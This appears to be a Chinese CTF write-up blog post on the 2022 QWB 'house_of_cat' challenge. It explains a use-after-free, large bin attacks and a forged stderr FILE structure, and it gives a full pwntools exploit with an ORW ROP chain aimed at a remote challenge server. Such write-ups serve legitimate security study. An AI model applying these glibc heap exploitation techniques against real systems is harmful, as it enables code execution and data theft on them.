2022强网杯house_of_cat

2022强网杯house_of_cat

Berial Lv1

前言

[!IMPORTANT]

前面对House of cat的调用链进行了一个分析,这次通过例题来看下是如何实现的

House of Cat调用链调试

[强网杯 2022 初赛]house_of_cat

保护

image-20240513123830518

image-20240513124228537

分析

首先是是一个比较复杂的login函数,这里面就不放了,因为重点是伪造fake_io的流程

1
2
LOGIN | r00t QWB QWXFadmin
CAT | r00t QWB QWXF$\xff

add

image-20240513125836598

限制了16个堆块,大小在0x418到0x470之间,使用的是calloc函数

delete

image-20240513130037330

存在UAF漏洞

show

image-20240513130132802

write 0x30大小

edit

image-20240513130217018

edit有两次机会,并且只能修改0x30大小

利用流程

泄露堆地址及libc基址

1
2
3
4
5
6
7
8
9
10
add(0, 0x420)
add(1, 0x430)
add(2, 0x418)
free(0)
add(3, 0x440)
show(0)
ru(':\n')
base = uu64() - 0x21a0d0
useless = io.recv(8+2)
heapbase = uheap() - 0x290

利用large bin泄露堆基地址和libc基地址

伪造IO

用POC看的stderr结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> p *stderr
$1 = {
_flags = -72540026,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7e1a780 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7e1ba60 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7e198a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}

然后就是照着POC改,POC在另一篇文章中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# fake IO
addr_IO = heapbase + 0xb00
fake = p64(0)*4 + p64(0)*2
fake += p64(1) + p64(2)#read_base & write_base
fake += p64(addr_IO + 0xb0)#rdx:write_ptr
fake += p64(setcontext)#call_addr
fake = fake.ljust(0x58, b'\x00')
fake += p64(0)#_chain
fake = fake.ljust(0x78, b'\x00')
fake += p64(heapbase + 0x200)#_lock = writable addr
fake = fake.ljust(0x90, b'\x00')
fake += p64(addr_IO + 0x30)#_wide_data:rax1
fake = fake.ljust(0xB0, b'\x00')
fake += p64(1) #mode = 1
fake = fake.ljust(0xc8, b'\x00')
fake += p64(base + 0x2160c0 + 0x10)#vtable --> IO_wfile_jumps + 0x10
fake += p64(0)*6
fake += p64(addr_IO + 0x40)#rax2

其实剩下的部分就是正常的高版本堆打ORW了,但是这部分还不是很熟练,需要多练,这里主要是加强对IO理解和House of cat调用链的一个学习

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
from math import log
import warnings
banary = "./house_of_cat"
elf = ELF(banary)
libc = ELF("./libc.so.6")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
ip = 'node4.anna.nssctf.cn'
port = 28554
local = 0
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(ip, port)
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')
def add(idx,size,content='aaa'):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(idx))
sla('plz input your cat size:\n',str(size))
sa('plz input your content:\n',content)
def free(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(2))
sla('plz input your cat idx:\n',str(idx))
def show(idx):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(3))
sla('plz input your cat idx:\n',str(idx))
def edit(idx,content):
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(4))
sla('plz input your cat idx:\n',str(idx))
sa('plz input your content:\n', content)

add(0, 0x420)
add(1, 0x430)
add(2, 0x418)
free(0)
add(3, 0x440)
show(0)
ru(':\n')
base = uu64() - 0x21a0d0
useless = io.recv(8+2)
heapbase = uheap() - 0x290
# -----
pop_rsi = base + 0x2be51
pop_rdx_r12 = base + 0x11f497
pop_rdi = base + 0x2a3e5
pop_rax = base + 0x45eb0
stderr = base + libc.sym['stderr']
setcontext = base + libc.sym['setcontext'] + 61
write = base + libc.sym['write']
read = base + libc.sym['read']
close = base + libc.sym['close']
syscall_ret = base + 0x91396
ret = base + 0x29cd6
# -----
# fake IO
addr_IO = heapbase + 0xb00
fake = p64(0)*4 + p64(0)*2
fake += p64(1) + p64(2)#read_base & write_base
fake += p64(addr_IO + 0xb0)#rdx:write_ptr
fake += p64(setcontext)#call_addr
fake = fake.ljust(0x58, b'\x00')
fake += p64(0)#_chain
fake = fake.ljust(0x78, b'\x00')
fake += p64(heapbase + 0x200)#_lock = writable addr
fake = fake.ljust(0x90, b'\x00')
fake += p64(addr_IO + 0x30)#_wide_data:rax1
fake = fake.ljust(0xB0, b'\x00')
fake += p64(1) #mode = 1
fake = fake.ljust(0xc8, b'\x00')
fake += p64(base + 0x2160c0 + 0x10)#vtable --> IO_wfile_jumps + 0x10
fake += p64(0)*6
fake += p64(addr_IO + 0x40)#rax2
flag = heapbase + 0x17d0
fake_pay = fake + p64(flag) + p64(0) + p64(0)*5 + p64(heapbase + 0x2050) + p64(ret)
free(2)
add(6, 0x418, fake_pay)
free(6)
# large bin attack
edit(0, p64(base + 0x21a0d0)*2 + p64(heapbase + 0x290) + p64(stderr - 0x20))
add(5, 0x440, 'aaaaa')
add(7, 0x430, 'flag')
add(8, 0x430)
# orw_rop
payload = p64(pop_rdi) + p64(0) + p64(close)
payload += p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(write)
add(9, 0x430, payload)
free(5)
add(10, 0x450, p64(0)+p64(1))
free(8)
# large bin attack
edit(5, p64(base + 0x21a0e0)*2 + p64(heapbase + 0x1370) + p64(heapbase + 0x28e0 - 0x20 + 3))

# __malloc_assert
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
# gdb.attach(io,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))

p('stderr')
p('addr_IO')
p('heapbase')
p('base')
# debug()
ia()
  • Title: 2022强网杯house_of_cat
  • Author: Berial
  • Created at : 2024-05-13 12:20:26
  • Updated at : 2024-09-12 14:42:21
  • Link: https://berial.cn/posts/2022qwbhouse_of_cat/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments